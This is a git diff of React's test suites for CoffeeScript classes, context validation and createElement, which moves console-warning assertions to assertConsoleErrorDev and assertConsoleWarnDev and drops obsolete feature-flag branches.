       getName: -> this.props.name
       render: ->
@@ -53,14 +58,15 @@ describe 'ReactCoffeeScriptClass', ->
       event.preventDefault()
       caughtErrors.push(event.error)
     window.addEventListener 'error', errorHandler;
-    expect(->
-      ReactDOM.flushSync ->
-        root.render React.createElement(Foo)
-    ).toErrorDev([
-      # A failed component renders twice in DEV in concurrent mode
-      'No `render` method found on the Foo instance',
-      'No `render` method found on the Foo instance',
-    ])
+    ReactDOM.flushSync ->
+      root.render React.createElement(Foo)
+    assertConsoleErrorDev [
+# A failed component renders twice in DEV in concurrent mode
+      'No `render` method found on the Foo instance: you may have forgotten to define `render`.\n' +
+        '     in Foo (at **)',
+      'No `render` method found on the Foo instance: you may have forgotten to define `render`.\n' +
+        '     in Foo (at **)',
+    ]
     window.removeEventListener 'error', errorHandler;
     expect(caughtErrors).toEqual([
       expect.objectContaining(
@@ -136,11 +142,11 @@ describe 'ReactCoffeeScriptClass', ->
         React.createElement('div')
       getDerivedStateFromProps: ->
         {}
-    expect(->
-      ReactDOM.flushSync ->
-        root.render React.createElement(Foo, foo: 'foo')
-      return
-    ).toErrorDev 'Foo: getDerivedStateFromProps() is defined as an instance method and will be ignored. Instead, declare it as a static method.'
+    ReactDOM.flushSync ->
+     root.render React.createElement(Foo, foo: 'foo')
+    assertConsoleErrorDev [
+      'Foo: getDerivedStateFromProps() is defined as an instance method and will be ignored. Instead, declare it as a static method.\n' +
+        '    in Foo (at **)']
 
   it 'warns if getDerivedStateFromError is not static', ->
     class Foo extends React.Component
@@ -148,11 +154,13 @@ describe 'ReactCoffeeScriptClass', ->
         React.createElement('div')
       getDerivedStateFromError: ->
         {}
-    expect(->
-      ReactDOM.flushSync ->
-        root.render React.createElement(Foo, foo: 'foo')
-      return
-    ).toErrorDev 'Foo: getDerivedStateFromError() is defined as an instance method and will be ignored. Instead, declare it as a static method.'
+    ReactDOM.flushSync ->
+      root.render React.createElement(Foo, foo: 'foo')
+
+    assertConsoleErrorDev [
+      'Foo: getDerivedStateFromError() is defined as an instance method and will be ignored. Instead, declare it as a static method.\n' +
+        '    in Foo (at **)'
+    ]
 
   it 'warns if getSnapshotBeforeUpdate is static', ->
     class Foo extends React.Component
@@ -160,11 +168,13 @@ describe 'ReactCoffeeScriptClass', ->
         React.createElement('div')
     Foo.getSnapshotBeforeUpdate = () ->
       {}
-    expect(->
-      ReactDOM.flushSync ->
-        root.render React.createElement(Foo, foo: 'foo')
-      return
-    ).toErrorDev 'Foo: getSnapshotBeforeUpdate() is defined as a static method and will be ignored. Instead, declare it as an instance method.'
+    ReactDOM.flushSync ->
+      root.render React.createElement(Foo, foo: 'foo')
+
+    assertConsoleErrorDev [
+      'Foo: getSnapshotBeforeUpdate() is defined as a static method and will be ignored. Instead, declare it as an instance method.\n' +
+        '    in Foo (at **)'
+    ]
 
   it 'warns if state not initialized before static getDerivedStateFromProps', ->
     class Foo extends React.Component
@@ -177,16 +187,16 @@ describe 'ReactCoffeeScriptClass', ->
         foo: nextProps.foo
         bar: 'bar'
       }
-    expect(->
-      ReactDOM.flushSync ->
-        root.render React.createElement(Foo, foo: 'foo')
-      return
-    ).toErrorDev (
-      '`Foo` uses `getDerivedStateFromProps` but its initial state is ' +
-      'undefined. This is not recommended. Instead, define the initial state by ' +
-      'assigning an object to `this.state` in the constructor of `Foo`. ' +
-      'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.'
-    )
+    ReactDOM.flushSync ->
+      root.render React.createElement(Foo, foo: 'foo')
+
+    assertConsoleErrorDev [
+      '`Foo` uses `getDerivedStateFromProps` but its initial state is
+       undefined. This is not recommended. Instead, define the initial state by
+       assigning an object to `this.state` in the constructor of `Foo`.
+       This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\n' +
+        '     in Foo (at **)'
+    ]
 
   it 'updates initial state with values returned by static getDerivedStateFromProps', ->
     class Foo extends React.Component
@@ -255,6 +265,15 @@ describe 'ReactCoffeeScriptClass', ->
           React.createElement Foo
 
       test React.createElement(Outer), 'SPAN', 'foo'
+      
+      assertConsoleErrorDev([
+        'Outer uses the legacy childContextTypes API which will soon be removed.
+         Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+          '    in Outer (at **)',
+        'Foo uses the legacy contextTypes API which will soon be removed.
+         Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+          '    in Outer (at **)',
+      ]);
 
   it 'renders only once when setting state in componentWillMount', ->
     renderCount = 0
@@ -281,9 +300,11 @@ describe 'ReactCoffeeScriptClass', ->
         render: ->
           React.createElement('span')
 
-      expect(->
-        test React.createElement(Foo), 'SPAN', ''
-      ).toErrorDev('Foo.state: must be set to an object or null')
+      test React.createElement(Foo), 'SPAN', ''
+      assertConsoleErrorDev [
+        'Foo.state: must be set to an object or null\n' +
+          '    in Foo (at **)'
+      ]
 
   it 'should render with null in the initial state property', ->
     class Foo extends React.Component
@@ -411,7 +432,6 @@ describe 'ReactCoffeeScriptClass', ->
         constructor: ->
           @contextTypes = {}
           @contextType = {}
-          @propTypes = {}
 
         getInitialState: ->
           getInitialStateWasCalled = true
@@ -426,15 +446,21 @@ describe 'ReactCoffeeScriptClass', ->
             className: 'foo'
           )
 
-      expect(->
-        test React.createElement(Foo), 'SPAN', 'foo'
-      ).toErrorDev([
-        'getInitialState was defined on Foo, a plain JavaScript class.',
-        'getDefaultProps was defined on Foo, a plain JavaScript class.',
-        'propTypes was defined as an instance property on Foo.',
-        'contextTypes was defined as an instance property on Foo.',
-        'contextType was defined as an instance property on Foo.',
-      ])
+      test React.createElement(Foo), 'SPAN', 'foo'
+      assertConsoleErrorDev [
+        'getInitialState was defined on Foo, a plain JavaScript class.
+         This is only supported for classes created using React.createClass.
+         Did you mean to define a state property instead?\n' +
+          '     in Foo (at **)',
+        'getDefaultProps was defined on Foo, a plain JavaScript class.
+         This is only supported for classes created using React.createClass.
+         Use a static property to define defaultProps instead.\n' +
+          '    in Foo (at **)',
+        'contextType was defined as an instance property on Foo. Use a static property to define contextType instead.\n' +
+          '    in Foo (at **)',
+        'contextTypes was defined as an instance property on Foo. Use a static property to define contextTypes instead.\n' +
+          '    in Foo (at **)',
+      ]
       expect(getInitialStateWasCalled).toBe false
       expect(getDefaultPropsWasCalled).toBe false
 
@@ -465,13 +491,13 @@ describe 'ReactCoffeeScriptClass', ->
           className: 'foo'
         )
 
-    expect(->
-      test React.createElement(NamedComponent), 'SPAN', 'foo'
-    ).toErrorDev(
+    test React.createElement(NamedComponent), 'SPAN', 'foo'
+    assertConsoleErrorDev [
       'NamedComponent has a method called componentShouldUpdate().
        Did you mean shouldComponentUpdate()? The name is phrased as a
-       question because the function is expected to return a value.'
-    )
+       question because the function is expected to return a value.\n' +
+        '    in NamedComponent (at **)'
+    ]
 
   it 'should warn when misspelling componentWillReceiveProps', ->
     class NamedComponent extends React.Component
@@ -483,12 +509,12 @@ describe 'ReactCoffeeScriptClass', ->
           className: 'foo'
         )
 
-    expect(->
-      test React.createElement(NamedComponent), 'SPAN', 'foo'
-    ).toErrorDev(
+    test React.createElement(NamedComponent), 'SPAN', 'foo'
+    assertConsoleErrorDev [
       'NamedComponent has a method called componentWillRecieveProps().
-       Did you mean componentWillReceiveProps()?'
-    )
+       Did you mean componentWillReceiveProps()?\n' +
+        '    in NamedComponent (at **)'
+    ]
 
   it 'should warn when misspelling UNSAFE_componentWillReceiveProps', ->
     class NamedComponent extends React.Component
@@ -500,28 +526,24 @@ describe 'ReactCoffeeScriptClass', ->
           className: 'foo'
         )
 
-    expect(->
-      test React.createElement(NamedComponent), 'SPAN', 'foo'
-    ).toErrorDev(
+    test React.createElement(NamedComponent), 'SPAN', 'foo'
+    assertConsoleErrorDev [
       'NamedComponent has a method called UNSAFE_componentWillRecieveProps().
-       Did you mean UNSAFE_componentWillReceiveProps()?'
-    )
+       Did you mean UNSAFE_componentWillReceiveProps()?\n' +
+        '    in NamedComponent (at **)'
+    ]
 
   it 'should throw AND warn when trying to access classic APIs', ->
     ref = React.createRef()
     test React.createElement(InnerComponent, name: 'foo', ref: ref), 'DIV', 'foo'
-    expect(->
-      expect(-> ref.current.replaceState {}).toThrow()
-    ).toWarnDev(
-      'replaceState(...) is deprecated in plain JavaScript React classes',
-      {withoutStack: true}
-    )
-    expect(->
-      expect(-> ref.current.isMounted()).toThrow()
-    ).toWarnDev(
-      'isMounted(...) is deprecated in plain JavaScript React classes',
-      {withoutStack: true}
-    )
+
+    expect(-> ref.current.replaceState {}).toThrow()
+    assertConsoleWarnDev([
+      'replaceState(...) is deprecated in plain JavaScript React classes. Refactor your code to use setState instead (see https://github.com/facebook/react/issues/3236).'])
+
+    expect(-> ref.current.isMounted()).toThrow()
+    assertConsoleWarnDev([
+      'isMounted(...) is deprecated in plain JavaScript React classes. Instead, make sure to clean up subscriptions and pending requests in componentWillUnmount to prevent memory leaks.'])
 
   if !featureFlags.disableLegacyContext
     it 'supports this.context passed via getChildContext', ->
@@ -540,26 +562,13 @@ describe 'ReactCoffeeScriptClass', ->
           React.createElement Bar
 
       test React.createElement(Foo), 'DIV', 'bar-through-context'
-
-  if !featureFlags.disableStringRefs
-    it 'supports string refs', ->
-      class Foo extends React.Component
-        render: ->
-          React.createElement(InnerComponent,
-            name: 'foo'
-            ref: 'inner'
-          )
-
-      ref = React.createRef()
-      expect(->
-        test(React.createElement(Foo, ref: ref), 'DIV', 'foo')
-      ).toErrorDev([
-        'Component "Foo" contains the string ref "inner". ' +
-          'Support for string refs will be removed in a future major release. ' +
-          'We recommend using useRef() or createRef() instead. ' +
-          'Learn more about using refs safely here: https://react.dev/link/strict-mode-string-ref\n' +
-          '    in _Class (at **)'
-      ]);
-      expect(ref.current.refs.inner.getName()).toBe 'foo'
+      assertConsoleErrorDev [
+        'Foo uses the legacy childContextTypes API which will soon be removed. Use React.createContext() instead.
+         (https://react.dev/link/legacy-context)\n' +
+          '    in Foo (at **)',
+        'Bar uses the legacy contextTypes API which will soon be removed. Use React.createContext() with static contextType instead.
+         (https://react.dev/link/legacy-context)\n' +
+          '    in Foo (at **)'
+      ]
 
   undefined
diff --git a/packages/react/src/__tests__/ReactContextValidator-test.js b/packages/react/src/__tests__/ReactContextValidator-test.js
index cbe9cb264127..ff8f2b421586 100644
--- a/packages/react/src/__tests__/ReactContextValidator-test.js
+++ b/packages/react/src/__tests__/ReactContextValidator-test.js
@@ -19,6 +19,7 @@ let PropTypes;
 let React;
 let ReactDOMClient;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactContextValidator', () => {
   beforeEach(() => {
@@ -27,7 +28,7 @@ describe('ReactContextValidator', () => {
     PropTypes = require('prop-types');
     React = require('react');
     ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
   });
 
   // TODO: This behavior creates a runtime dependency on propTypes. We should
@@ -71,6 +72,14 @@ describe('ReactContextValidator', () => {
         <ComponentInFooBarContext ref={current => (instance = current)} />,
       );
     });
+    assertConsoleErrorDev([
+      'ComponentInFooBarContext uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ComponentInFooBarContext (at **)',
+      'Component uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ComponentInFooBarContext (at **)',
+    ]);
     expect(instance.childRef.current.context).toEqual({foo: 'abc'});
   });
 
@@ -142,6 +151,14 @@ describe('ReactContextValidator', () => {
     await act(() => {
       root.render(<Parent foo="abc" />);
     });
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'Component uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+    ]);
 
     expect(constructorContext).toEqual({foo: 'abc'});
     expect(renderContext).toEqual({foo: 'abc'});
@@ -181,36 +198,34 @@ describe('ReactContextValidator', () => {
       }
     }
 
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<ComponentA />);
-      });
-    }).toErrorDev(
-      'ComponentA.childContextTypes is specified but there is no ' +
-        'getChildContext() method on the instance. You can either define ' +
-        'getChildContext() on ComponentA or remove childContextTypes from it.',
-    );
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => {
+      root.render(<ComponentA />);
+    });
+    assertConsoleErrorDev([
+      'ComponentA uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ComponentA (at **)',
+      'ComponentA.childContextTypes is specified but there is no getChildContext() method on the instance. ' +
+        'You can either define getChildContext() on ComponentA or remove childContextTypes from it.\n' +
+        '    in ComponentA (at **)',
+    ]);
 
     // Warnings should be deduped by component type
-    let container = document.createElement('div');
-    let root = ReactDOMClient.createRoot(container);
     await act(() => {
       root.render(<ComponentA />);
     });
-
-    await expect(async () => {
-      container = document.createElement('div');
-      root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<ComponentB />);
-      });
-    }).toErrorDev(
-      'ComponentB.childContextTypes is specified but there is no ' +
-        'getChildContext() method on the instance. You can either define ' +
-        'getChildContext() on ComponentB or remove childContextTypes from it.',
-    );
+    await act(() => {
+      root.render(<ComponentB />);
+    });
+    assertConsoleErrorDev([
+      'ComponentB uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ComponentB (at **)',
+      'ComponentB.childContextTypes is specified but there is no getChildContext() method on the instance. ' +
+        'You can either define getChildContext() on ComponentB or remove childContextTypes from it.\n' +
+        '    in ComponentB (at **)',
+    ]);
   });
 
   // TODO (bvaughn) Remove this test and the associated behavior in the future.
@@ -252,16 +267,25 @@ describe('ReactContextValidator', () => {
       foo: PropTypes.string.isRequired,
     };
 
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<ParentContextProvider />);
-      });
-    }).toErrorDev([
-      'MiddleMissingContext.childContextTypes is specified but there is no ' +
-        'getChildContext() method on the instance. You can either define getChildContext() ' +
-        'on MiddleMissingContext or remove childContextTypes from it.',
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<ParentContextProvider />);
+    });
+    assertConsoleErrorDev([
+      'ParentContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ParentContextProvider (at **)',
+      'MiddleMissingContext uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ParentContextProvider (at **)',
+      'MiddleMissingContext.childContextTypes is specified but there is no getChildContext() method on the instance. ' +
+        'You can either define getChildContext() on MiddleMissingContext or remove childContextTypes from it.\n' +
+        '    in ParentContextProvider (at **)',
+      'ChildContextConsumer uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in MiddleMissingContext (at **)\n' +
+        '    in ParentContextProvider (at **)',
     ]);
     expect(childContext.bar).toBeUndefined();
     expect(childContext.foo).toBe('FOO');
@@ -341,13 +365,7 @@ describe('ReactContextValidator', () => {
     expect(componentWillUpdateNextContext).toBe(secondContext);
     expect(renderContext).toBe(secondContext);
     expect(componentDidUpdateContext).toBe(secondContext);
-
-    if (gate(flags => flags.enableLazyContextPropagation)) {
-      expect(shouldComponentUpdateWasCalled).toBe(true);
-    } else {
-      // sCU is not called in this case because React force updates when a provider re-renders
-      expect(shouldComponentUpdateWasCalled).toBe(false);
-    }
+    expect(shouldComponentUpdateWasCalled).toBe(true);
   });
 
   it('should re-render PureComponents when context Provider updates', async () => {
@@ -425,24 +443,28 @@ describe('ReactContextValidator', () => {
       }
     }
 
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(
-          <ParentContextProvider>
-            <ComponentA />
-          </ParentContextProvider>,
-        );
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => {
+      root.render(
+        <ParentContextProvider>
+          <ComponentA />
+        </ParentContextProvider>,
+      );
+    });
+
+    assertConsoleErrorDev([
+      'ParentContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ParentContextProvider (at **)',
       'ComponentA declares both contextTypes and contextType static properties. ' +
-        'The legacy contextTypes property will be ignored.',
-    );
+        'The legacy contextTypes property will be ignored.\n' +
+        '    in ComponentA (at **)',
+      'ComponentA uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ComponentA (at **)',
+    ]);
 
     // Warnings should be deduped by component type
-    let container = document.createElement('div');
-    let root = ReactDOMClient.createRoot(container);
     await act(() => {
       root.render(
         <ParentContextProvider>
@@ -451,23 +473,23 @@ describe('ReactContextValidator', () => {
       );
     });
 
-    await expect(async () => {
-      container = document.createElement('div');
-      root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(
-          <ParentContextProvider>
-            <ComponentB />
-          </ParentContextProvider>,
-        );
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(
+        <ParentContextProvider>
+          <ComponentB />
+        </ParentContextProvider>,
+      );
+    });
+    assertConsoleErrorDev([
       'ComponentB declares both contextTypes and contextType static properties. ' +
-        'The legacy contextTypes property will be ignored.',
-    );
+        'The legacy contextTypes property will be ignored.\n' +
+        '    in ComponentB (at **)',
+      'ComponentB uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ComponentB (at **)',
+    ]);
   });
 
-  // @gate enableRenderableContext || !__DEV__
   it('should warn if an invalid contextType is defined', async () => {
     const Context = React.createContext();
     class ComponentA extends React.Component {
@@ -477,20 +499,17 @@ describe('ReactContextValidator', () => {
       }
     }
 
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<ComponentA />);
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => {
+      root.render(<ComponentA />);
+    });
+    assertConsoleErrorDev([
       'ComponentA defines an invalid contextType. ' +
         'contextType should point to the Context object returned by React.createContext(). ' +
-        'Did you accidentally pass the Context.Consumer instead?',
-    );
+        'Did you accidentally pass the Context.Consumer instead?\n' +
+        '    in ComponentA (at **)',
+    ]);
 
-    let container = document.createElement('div');
-    let root = ReactDOMClient.createRoot(container);
     await act(() => {
       root.render(<ComponentA />);
     });
@@ -501,8 +520,6 @@ describe('ReactContextValidator', () => {
         return <div />;
       }
     }
-    container = document.createElement('div');
-    root = ReactDOMClient.createRoot(container);
     await act(() => {
       root.render(<ComponentB />);
     });
@@ -535,23 +552,22 @@ describe('ReactContextValidator', () => {
     }
 
     await expect(async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<Foo />);
-        });
-      }).rejects.toThrow(
-        "Cannot read properties of undefined (reading 'world')",
-      );
-    }).toErrorDev(
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<Foo />);
+      });
+    }).rejects.toThrow("Cannot read properties of undefined (reading 'world')");
+
+    assertConsoleErrorDev([
       'Foo defines an invalid contextType. ' +
         'contextType should point to the Context object returned by React.createContext(). ' +
         'However, it is set to undefined. ' +
         'This can be caused by a typo or by mixing up named and default imports. ' +
         'This can also happen due to a circular dependency, ' +
-        'so try moving the createContext() call to a separate file.',
-    );
+        'so try moving the createContext() call to a separate file.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('should warn when class contextType is an object', async () => {
@@ -567,20 +583,19 @@ describe('ReactContextValidator', () => {
     }
 
     await expect(async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<Foo />);
-        });
-      }).rejects.toThrow(
-        "Cannot read properties of undefined (reading 'hello')",
-      );
-    }).toErrorDev(
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<Foo />);
+      });
+    }).rejects.toThrow("Cannot read properties of undefined (reading 'hello')");
+
+    assertConsoleErrorDev([
       'Foo defines an invalid contextType. ' +
         'contextType should point to the Context object returned by React.createContext(). ' +
-        'However, it is set to an object with keys {x, y}.',
-    );
+        'However, it is set to an object with keys {x, y}.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('should warn when class contextType is a primitive', async () => {
@@ -592,20 +607,19 @@ describe('ReactContextValidator', () => {
     }
 
     await expect(async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<Foo />);
-        });
-      }).rejects.toThrow(
-        "Cannot read properties of undefined (reading 'world')",
-      );
-    }).toErrorDev(
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<Foo />);
+      });
+    }).rejects.toThrow("Cannot read properties of undefined (reading 'world')");
+
+    assertConsoleErrorDev([
       'Foo defines an invalid contextType. ' +
         'contextType should point to the Context object returned by React.createContext(). ' +
-        'However, it is set to a string.',
-    );
+        'However, it is set to a string.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('should warn if you define contextType on a function component', async () => {
@@ -621,31 +635,26 @@ describe('ReactContextValidator', () => {
     }
     ComponentB.contextType = Context;
 
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<ComponentA />);
-      });
-    }).toErrorDev(
-      'ComponentA: Function components do not support contextType.',
-    );
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => {
+      root.render(<ComponentA />);
+    });
+    assertConsoleErrorDev([
+      'ComponentA: Function components do not support contextType.\n' +
+        '    in ComponentA (at **)',
+    ]);
 
     // Warnings should be deduped by component type
-    let container = document.createElement('div');
-    let root = ReactDOMClient.createRoot(container);
     await act(() => {
       root.render(<ComponentA />);
     });
 
-    await expect(async () => {
-      container = document.createElement('div');
-      root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<ComponentB />);
-      });
-    }).toErrorDev(
-      'ComponentB: Function components do not support contextType.',
-    );
+    await act(() => {
+      root.render(<ComponentB />);
+    });
+    assertConsoleErrorDev([
+      'ComponentB: Function components do not support contextType.\n' +
+        '    in ComponentB (at **)',
+    ]);
   });
 });
diff --git a/packages/react/src/__tests__/ReactCreateElement-test.js b/packages/react/src/__tests__/ReactCreateElement-test.js
index 51012166af26..30d10041e963 100644
--- a/packages/react/src/__tests__/ReactCreateElement-test.js
+++ b/packages/react/src/__tests__/ReactCreateElement-test.js
@@ -13,6 +13,8 @@ let act;
 
 let React;
 let ReactDOMClient;
+let assertConsoleErrorDev;
+let assertConsoleWarnDev;
 
 // NOTE: This module tests the old, "classic" JSX runtime, React.createElement.
 // Do not use JSX syntax in this module; call React.createElement directly.
@@ -22,7 +24,11 @@ describe('ReactCreateElement', () => {
   beforeEach(() => {
     jest.resetModules();
 
-    act = require('internal-test-utils').act;
+    ({
+      act,
+      assertConsoleErrorDev,
+      assertConsoleWarnDev,
+    } = require('internal-test-utils'));
 
     React = require('react');
     ReactDOMClient = require('react-dom/client');
@@ -37,11 +43,7 @@ describe('ReactCreateElement', () => {
     const element = React.createElement(ComponentClass);
     expect(element.type).toBe(ComponentClass);
     expect(element.key).toBe(null);
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(element.ref).toBe(null);
-    } else {
-      expect(element.ref).toBe(null);
-    }
+    expect(element.ref).toBe(null);
     if (__DEV__) {
       expect(Object.isFrozen(element)).toBe(true);
       expect(Object.isFrozen(element.props)).toBe(true);
@@ -67,68 +69,34 @@ describe('ReactCreateElement', () => {
       }
     }
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await act(() => {
-        root.render(React.createElement(Parent));
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(React.createElement(Parent));
+    });
+    assertConsoleErrorDev([
       'Child: `key` is not a prop. Trying to access it will result ' +
         'in `undefined` being returned. If you need to access the same ' +
         'value within the child component, you should pass it as a different ' +
-        'prop. (https://react.dev/link/special-props)',
-    );
+        'prop. (https://react.dev/link/special-props)\n' +
+        '    in Parent (at **)',
+    ]);
   });
 
   it('should warn when `key` is being accessed on a host element', () => {
     const element = React.createElement('div', {key: '3'});
-    expect(() => void element.props.key).toErrorDev(
+    void element.props.key;
+    assertConsoleErrorDev([
       'div: `key` is not a prop. Trying to access it will result ' +
         'in `undefined` being returned. If you need to access the same ' +
         'value within the child component, you should pass it as a different ' +
         'prop. (https://react.dev/link/special-props)',
-      {withoutStack: true},
-    );
-  });
-
-  // @gate !enableRefAsProp || !__DEV__
-  it('should warn when `ref` is being accessed', async () => {
-    class Child extends React.Component {
-      render() {
-        return React.createElement('div', null, this.props.ref);
-      }
-    }
-    class Parent extends React.Component {
-      render() {
-        return React.createElement(
-          'div',
-          null,
-          React.createElement(Child, {ref: React.createRef()}),
-        );
-      }
-    }
-    const root = ReactDOMClient.createRoot(document.createElement('div'));
-
-    await expect(async () => {
-      await act(() => {
-        root.render(React.createElement(Parent));
-      });
-    }).toErrorDev(
-      'Child: `ref` is not a prop. Trying to access it will result ' +
-        'in `undefined` being returned. If you need to access the same ' +
-        'value within the child component, you should pass it as a different ' +
-        'prop. (https://react.dev/link/special-props)',
-    );
+    ]);
   });
 
   it('allows a string to be passed as the type', () => {
     const element = React.createElement('div');
     expect(element.type).toBe('div');
     expect(element.key).toBe(null);
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(element.ref).toBe(null);
-    } else {
-      expect(element.ref).toBe(null);
-    }
+    expect(element.ref).toBe(null);
     if (__DEV__) {
       expect(Object.isFrozen(element)).toBe(true);
       expect(Object.isFrozen(element.props)).toBe(true);
@@ -179,20 +147,15 @@ describe('ReactCreateElement', () => {
       foo: '56',
     });
     expect(element.type).toBe(ComponentClass);
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(() => expect(element.ref).toBe(ref)).toErrorDev(
-        'Accessing element.ref was removed in React 19',
-        {withoutStack: true},
-      );
-      const expectation = {foo: '56', ref};
-      Object.freeze(expectation);
-      expect(element.props).toEqual(expectation);
-    } else {
-      const expectation = {foo: '56'};
-      Object.freeze(expectation);
-      expect(element.props).toEqual(expectation);
-      expect(element.ref).toBe(ref);
-    }
+    expect(element.ref).toBe(ref);
+    assertConsoleErrorDev([
+      'Accessing element.ref was removed in React 19. ref is now a ' +
+        'regular prop. It will be removed from the JSX Element ' +
+        'type in a future release.',
+    ]);
+    const expectation = {foo: '56', ref};
+    Object.freeze(expectation);
+    expect(element.props).toEqual(expectation);
   });
 
   it('extracts null key', () => {
@@ -218,11 +181,7 @@ describe('ReactCreateElement', () => {
     const element = React.createElement(ComponentClass, props);
     expect(element.type).toBe(ComponentClass);
     expect(element.key).toBe(null);
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(element.ref).toBe(null);
-    } else {
-      expect(element.ref).toBe(null);
-    }
+    expect(element.ref).toBe(null);
     if (__DEV__) {
       expect(Object.isFrozen(element)).toBe(true);
       expect(Object.isFrozen(element.props)).toBe(true);
@@ -234,11 +193,7 @@ describe('ReactCreateElement', () => {
     const elementA = React.createElement('div');
     const elementB = React.createElement('div', elementA.props);
     expect(elementB.key).toBe(null);
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(elementB.ref).toBe(null);
-    } else {
-      expect(elementB.ref).toBe(null);
-    }
+    expect(elementB.ref).toBe(null);
   });
 
   it('coerces the key to a string', () => {
@@ -248,11 +203,7 @@ describe('ReactCreateElement', () => {
     });
     expect(element.type).toBe(ComponentClass);
     expect(element.key).toBe('12');
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(element.ref).toBe(null);
-    } else {
-      expect(element.ref).toBe(null);
-    }
+    expect(element.ref).toBe(null);
     if (__DEV__) {
       expect(Object.isFrozen(element)).toBe(true);
       expect(Object.isFrozen(element.props)).toBe(true);
@@ -275,7 +226,7 @@ describe('ReactCreateElement', () => {
     }
     const root = ReactDOMClient.createRoot(document.createElement('div'));
     await act(() => root.render(React.createElement(Wrapper)));
-    if (__DEV__ || !gate(flags => flags.disableStringRefs)) {
+    if (__DEV__) {
       expect(element._owner.stateNode).toBe(instance);
     } else {
       expect('_owner' in element).toBe(false);
@@ -469,15 +420,12 @@ describe('ReactCreateElement', () => {
 
   it('warns if outdated JSX transform is detected', async () => {
     // Warns if __self is detected, because that's only passed by a compiler
-    expect(() => {
-      React.createElement('div', {className: 'foo', __self: this});
-    }).toWarnDev(
-      'Your app (or one of its dependencies) is using an outdated ' +
-        'JSX transform.',
-      {
-        withoutStack: true,
-      },
-    );
+    React.createElement('div', {className: 'foo', __self: this});
+    assertConsoleWarnDev([
+      'Your app (or one of its dependencies) is using an outdated JSX ' +
+        'transform. Update to the modern JSX transform for ' +
+        'faster performance: https://react.dev/link/new-jsx-transform',
+    ]);
 
     // Only warns the first time. Subsequent elements don't warn.
     React.createElement('div', {className: 'foo', __self: this});
